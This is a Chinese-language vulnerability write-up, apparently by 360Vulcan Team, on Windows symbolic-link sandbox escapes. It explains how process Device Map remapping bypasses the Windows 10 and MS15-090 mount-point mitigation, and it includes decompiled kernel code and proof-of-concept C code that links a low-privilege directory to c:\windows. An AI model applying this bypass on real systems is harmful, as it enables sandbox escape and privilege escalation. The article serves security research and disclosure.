0x00 背景


Symbolic Link是微軟Windows系統上一項關鍵機制,從Windows NT3.1開始引入對象和注冊表Symbolic Link后,微軟從Windows2000開始也引入了NTFS Mount Point和Directory Juntions,這些機制對于熟悉Windows內部機理的技術人員并不陌生,在著名的Windows Internals系列中,也有介紹這些機制。在過去,安全人員利用Symbolic Link來攻擊系統安全機制或安全軟件,也并不少見。

而這項技術重新火起來,要歸功于2014年BlackHat上 James Forshaw爆出的大量利用mount point、注冊表的符號鏈接來繞過IE11的EPM沙箱的事件,在此之后, James Forshaw仍在不斷挖掘和通過Google Project Zero爆出大量利用這些機制的類似邏輯漏洞,通過這些漏洞可以穿透IE11的EPM沙箱,或者利用系統服務提升權限等。在2015年的Syscan上,他則以一篇《A Link to the Past: Abusing Symbolic Links on Windows》給這些漏洞和攻擊方式做了更好地總結。

360Vulcan Team也發現了多個使用Symbolic Link繞過EPM沙盒的漏洞,在今年的HITCON安全會議上,我們就公開了我們發現的CVE-2014-6322等沙盒繞過漏洞,包括一個未公開的EPM沙盒繞過漏洞。

之所以利用Symbolic Link進行攻擊的漏洞頻繁出現,是和低權限程序可以操作全局對象的符號鏈接,使得高權限程序訪問非預期的資源有重要關系的。這類漏洞不僅僅局限在Windows平臺上,著名的iOS6/7越獄程序Evasion也是利用了蘋果iOS系統內服務對于符號鏈接的處理問題實現了最初的攻擊步驟。

0x01 微軟的緩和措施


隨著這些漏洞攻擊的頻繁爆出,微軟也在尋找更有效地緩和方式,既然低權限創建符號鏈接是問題的關鍵所在,那么封堵低權限程序創建符號鏈接就成了自然會想到的解決方案。

在今年的五月份,Windows 10推出了內測版本Build 10120,在360安全團隊進行分析后就發現,在這個版本微軟就加入了針對注冊表符號鏈接的防護,禁止”sandboxed”的低權限進程創建注冊表符號鏈接。在隨后的多個內測版本中,微軟又持續加入了針對對象的符號鏈接創建防護和針對Mount Point(目錄掛載點)鏈接的防護,禁止低權限的程序創建這些鏈接。 具體來說,這些防護措施修改在Windows內核程序(ntoskrnl.exe)內,在創建注冊表、文件和對象的符號鏈接時,系統會使用RtlIsSandboxedToken來判斷當前的token是否在低完整性級別或者以下(例如AppContainer)。如果是的話,針對這三種符號鏈接,會采取不同的策略:

  1. 針對注冊表符號鏈接: 完全禁止創建,禁止沙盒內的程序創建任何注冊表符號連接

  2. 針對對象符號鏈接: 沙盒內程序可以創建對象符號鏈接,但是對象符號連接的Object上會增加特別的Flag,當非沙盒的程序遇到沙盒程序創建的符號鏈接時,符號鏈接不會生效

  3. 針對文件(Mount Point)符號鏈接:沙盒內程序在創建對象符號鏈接時,系統會檢查對于被鏈接到的目標目錄(例如將c:\test\low\鏈接到目標c:\windows\目錄),當前進程是否具備寫入(包括寫入、追加、刪除、修改屬性等)權限,如果不具備這些權限,或者無法打開目標目錄(例如目標目錄不存在),則會拒絕。

在Windows10 RTM正式發布后,微軟又以不同尋常的速度(用James Forshaw的話來說,簡直就不敢讓人相信是微軟干的)將這個安全緩和移植到了低版本的Windows操作系統上。

在今年8月11日,微軟發布了MS15-090補丁,在Windows Vista\7\8\8.1及服務器操作系統上修復了CVE-2015-2428\CVE-2015-2429\CVE-2015-2430這三個漏洞,而這個補丁的實質,就是將對象、注冊表、文件系統這三個符號鏈接的緩和防護移植到了這些操作系統上。微軟這些以相當有執行力的速度,試圖將這類漏洞徹底終結,送入歷史之中。

那么,是不是對于Windows 10,包括打了8月補丁的Windows7, 8, 8.1等操作系統,這些符號鏈接的漏洞就和我們永遠說拜拜了呢?

答案當然是否定的,就如James Forshaw在44CON的議題標題所說, 2 Steps Forward, 1 Step Back,在開發這些緩和措施的過程中,水平不到位的安全/開發人員,也會犯這樣那樣的錯誤,使得我們在深入研究和分析這些機制后,仍然可能找出突破他們的方式。

0x02 針對緩和的繞過


在這里,本文就是要介紹一種繞過Windows 10 Mount Point Mitigation(目錄掛載點緩和)的方式,由于這個緩和在Windows7/8/8.1等系統上是通過MS15-090得到修復的,因此這里介紹的方法也是對MS15-090(CVE-2015-2430)的繞過攻擊方式。

前面我們說到,針對文件/目錄的Mount Point符號鏈接,系統并沒有徹底禁止沙盒的程序去創建它們,而是會檢查對應被鏈接到的目標目錄,當前進程是否具備可寫的權限,如果可寫(例如我們將同是位于低完整性級別目錄下的兩個繼承目錄進行鏈接),鏈接是可以被創建的。這就給我們突破這個防護提供了一個攻擊面,那么我們來看看這個檢查具體是怎么實現的呢?

這個檢查的代碼是位于IopXxxControlFile中的,內核調用NtDeviceIoControlNtFsControlFile最終都要調用到這個函數中,這個函數負責為設備調用封裝IRP并進行IRP發送工作,FSCTL_SET_REPARSE_POINT這個用于設置NTFS Mount Point的設備控制碼自然也不例外。在這個函數中,微軟增加了針對FSCTL_SET_REPARSE_POINT的特殊檢查處理,邏輯并不復雜,這里我列出如下:

#!c++
if ( IoControlCode == FSCTL_SET_REPARSE_POINT ) 
{
     ReparseBuffer = Irp_1->AssociatedIrp.SystemBuffer;
     if ( InputBufferLength >= 4 && ReparseBuffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT )
     {
       SubjectSecurityContext.ClientToken = 0;
       SubjectSecurityContext.ImpersonationLevel = 0;
       SubjectSecurityContext.PrimaryToken = 0;
       SubjectSecurityContext.ProcessAuditId = 0;
       bIsSandboxedProcess = CurrentThread;
       CurrentProcess = IoThreadToProcess(CurrentThread);
       SeCaptureSubjectContextEx(bIsSandboxedProcess, CurrentProcess, &SubjectSecurityContext);
       LOBYTE(bIsSandboxedProcess) = RtlIsSandboxedToken(&SubjectSecurityContext, AccessMode[0]);
       status = SeReleaseSubjectContext(&SubjectSecurityContext);
       if ( bIsSandboxedProcess )
       {
          status_1 = FsRtlValidateReparsePointBuffer(InputBufferLength, ReparseBuffer);
          if ( status_1 < 0 )
          {
             IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
             return status_1;
           }
           NameLength = ReparseBuffer->MountPointReparseBuffer.SubstituteNameLength;
           MaxLen = NameLength;
           NameBuffer = ReparseBuffer->MountPointReparseBuffer.PathBuffer;
           ObjectAttributes.Length = 24;
           ObjectAttributes.RootDirectory = 0;
           ObjectAttributes.Attributes = OBJ_FORCE_ACCESS_CHECK | OBJ_KERNEL_HANDLE
           ObjectAttributes.ObjectName = &NameLength;
           ObjectAttributes.SecurityDescriptor = 0;
           ObjectAttributes.SecurityQualityOfService = 0;
           status_2 = ZwOpenFile(&FileHandle, 
                                  0x120116u,
                                  &ObjectAttributes,
                                  &IoStatusBlock,
                                  FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
                                  FILE_DIRECTORY_FILE);
           if ( status_2 < 0 )
           {
              IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
              return status_2;
           }
           status = ZwClose(FileHandle);
     }
}

通過這段代碼我們可以看到, 當IoControlCodeFSCTL_SET_REPARSE_POINT時,函數會檢查ReparseTag是否為IO_REPARSE_TAG_MOUNT_POINT,如果是Mount Point的操作,接下來就會使用RtlIsSandboxedToken來檢查當前進程是否是沙盒進程,如果是沙盒進程,在使用FsRtlValidateReparsePointBuffer檢查reparse point的緩存數據格式后(這個函數在文件系統驅動處理reparse point操作時也會用到),將目標目錄的路徑提取出來,使用ZwOpenFile嘗試打開它, 如果無法打開,就返回拒絕。

這里打開文件有個很關鍵的步驟,大家可以看到代碼里ObjectAttributes.Attributes設置了包含OBJ_FORCE_ACCESS_CHECK標志。這里就是要求 ZwOpenFile 去強制檢查當前進程是否有權限打開這個目錄,否則ZwOpenFile通過內核模式轉換后,是直接無視權限檢查的。

這個檢查似乎很嚴密,我們如何突破呢?筆者仔細研究了下相關的機制,本來想看看是否能通過在PathBuffer中調換SubsituteNamePrintName位置的方式(這段代碼默認SubsituteName在前)來欺騙檢查邏輯,但后來發現FsRtlValidateReparsePointBuffer的預檢查中,已經強制要求了SubsituteName必須在前。

再深入看看Ntfs和Ntos針對Set Reparse Point的實現,筆者發現Reparse Point具體的目標對象的解析和處理并不是在ntfs中當前進程完成的,ntfs在收到set reparse point的file system control請求后,只是將這個信息以文件系統結構存儲起來,而直到訪問這個mount point的程序去訪問對應的路徑時,ntos的IO子系統才會去處理和解析相關的數據,也就是說,我們當前進程發送過去的路徑, 是并不在當前進程中具體去處理的,也就是說,它在當前進程里是可以無效或必并不指向我們原先想要的目標的。

根據這個事實,就不難想出,我們可以讓這里的ZwOpenFile在我們的進程里,打開的其實并非c:\windows的目錄,而這個路徑在外面的進程看起來,則需要時真正的c:\windows。

筆者稍微復習了下IO子系統的代碼,很快就想出了對應的欺騙技巧:Device Map

進程的Device Map是針對系統中的進程設置“虛擬DOS設備路徑”的系統機制, 它可以通過NtSetInformationProcess/NtQueryInformationProcess的ProcessDeviceMap功能號來設置和查詢。

當系統內核打開一個諸如c:\windows的DOS路徑時,NTDLL會首先將其前面加上\??\,使其變為一個NT路徑:\??\c:\windows ,通常來說\??\指向\GLOBAL??\,而\GLOBAL??\下就有C:這個指向\Device\HarddiskVolumeX等磁盤分區設備的符號鏈接,使得最終系統的對象子系統能夠找到對應的文件系統驅動發送相關的文件操作請求。

而Device Map的修改機制,允許我們將\??\指向其他的對象目錄,在ProcessDeviceMap中,我們只要填寫對應的對象目錄句柄,就可以將當前進程(或者被設置的對應進程)的\??\映射到我們的對象目錄中,例如將 \??\不再指向\GLOBAL??\,而是\BaseNamedObjects。這項機制允許程序具備多個虛擬的\??\根目錄,這被Windows自己的內核機制例如WindowStation管理機制所使用。

而在這里,我們正好就可以使用這個技巧,來繞過ZwOpenFile的安全檢查,步驟如下:

(假設我們用于測試的低權限可訪問目錄為c:\users\test\desktop\low)

  1. 創建c:\users\test\desktop\low\windows目錄,這個目錄我們可以訪問,另外在low下在創建一個任意名字的目錄用來鏈接Windows目錄,例如叫做Low\demo目錄,這里之所以要先創建,是因為我們后面要修改系統默認DOS設備根目錄,再使用win32 api操作文件會比較麻煩

  2. 將當前Device Map\??\通過NtSetInformationProcess映射到一個我們可寫的對象目錄,例如對于低完整性進程,\Session\X\BaseNamedObjects對象目錄就可以,我們可以將其映射到這個目錄來

  3. \Session\X\BaseNamedObjects對象目錄下創建一個對象符號鏈接,名為C: , 鏈接到\GLOBAL??\c:\users\test\desktop\low,注意這里必須要用GLOBAL??而不是\??\因為默認的\??\已經被我們改到別的地方了

這里的對象符號鏈接是我們當前進程自己用的,按前面說的,沙盒內的符號鏈接只有沙盒進程能用,所以是沒有問題的。

  1. 此時,當前進程的\??\c:\windows,實際變成了\BaseNamedObjects\c:\windows,而因為\BaseNamedObjects下面的C:是我們設置好的符號鏈接,因此這個路徑最終會被解析為\GLOBAL??\C:\users\test\desktop\low\windows,也就是我們在第一步里創建的那個我們可以訪問的Windows目錄

  2. 最后,為low下的demo目錄創建鏈接到\??\c:\windows,這里IopXxxControlFile在使用ZwOpenFile進行權限檢查時,自然就檢查到了我們設置的欺騙目錄,并認為我們具備對這個目錄的寫入權限,從而允許創建。

  3. 然而,在創建完成Mount Point后,這個路徑信息已經被載入文件系統中, 其他進程再來訪問時,會發現這個demo目錄指向真正的\??\c:\windows目錄, 我們成功實現繞過Mount Point緩和,創建有效的低權限可訪問的、鏈接到高權限目錄的符號鏈接。

下面是攻擊的示例關鍵代碼:

#!c++
CreateDirectory("c:\\users\\test\\desktop\\low\\windows" , 0 )
CreateDirectory("c:\\users\\test\\desktop\\low\\demo" , 0)
HANDLE hlink = CreateFile("c:\\users\\test\\desktop\\low\\demo" , GENERIC_WRITE , FILE_SHARE_READ , 0 , OPEN_EXISTING , FILE_FLAG_BACKUP_SEMANTICS, 0 );
NtOpenDirectoryObject(&hObjDir , DIRECTORY_TRAVERSE , &oba); 
//"\\Sessions\\1\\BaseNamedObjects"
NtSetInformationProcess(GetCurrentProcess() , ProcessDeviceMap , &hObjDir ,sizeof(HANDLE));
NtCreateSymbolicLinkObject(&hObjLink , LINK_QUERY , &oba2 , &LinkTarget) ; 
//oba2: "\\??\\c:" link target:"\\GLOBAL??\\C:\\users\ \test\\desktop\\low"

WCHAR NtPath[MAX_PATH] = L"\\??\\C:\\WINDOWS\\";
WCHAR wdospath[MAX_PATH] = L"c:\\windows\\";

DWORD btr ; 
PREPARSE_DATA_BUFFER pBuffer;
DWORD buffsize ;
pBuffer = (PREPARSE_DATA_BUFFER)malloc(sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 + 2);

pBuffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
pBuffer->ReparseDataLength = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 - 8 ;
pBuffer->Reserved = 0 ; 
pBuffer->MountPointReparseBuffer.SubstituteNameLength = wcslen(NtPath) * 2 ;
pBuffer->MountPointReparseBuffer.SubstituteNameOffset = 0 ; 
pBuffer->MountPointReparseBuffer.PrintNameLength = wcslen(wdospath) * 2 ;
pBuffer->MountPointReparseBuffer.PrintNameOffset = wcslen(NtPath) * 2 + 2 ; 
memcpy((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer , (PCHAR)NtPath , wcslen(NtPath) * 2 + 2);
memcpy((PCHAR)((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer + wcslen(NtPath) * 2 + 2) ,
 (PCHAR)wdospath ,
 wcslen(wdospath) * 2 + 2) ; 
buffsize = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 ;

DeviceIoControl(hlink , FSCTL_SET_REPARSE_POINT , pBuffer , buffsize, NULL , 0 , &btr , 0 );

測試程序成功的截圖如下:

可以看到低權限的poc_mklink成功創建目錄1,鏈接到c:\windows的junction。

enter image description here

您的支持將鼓勵我們繼續創作!

[微信] 掃描二維碼打賞

[支付寶] 掃描二維碼打賞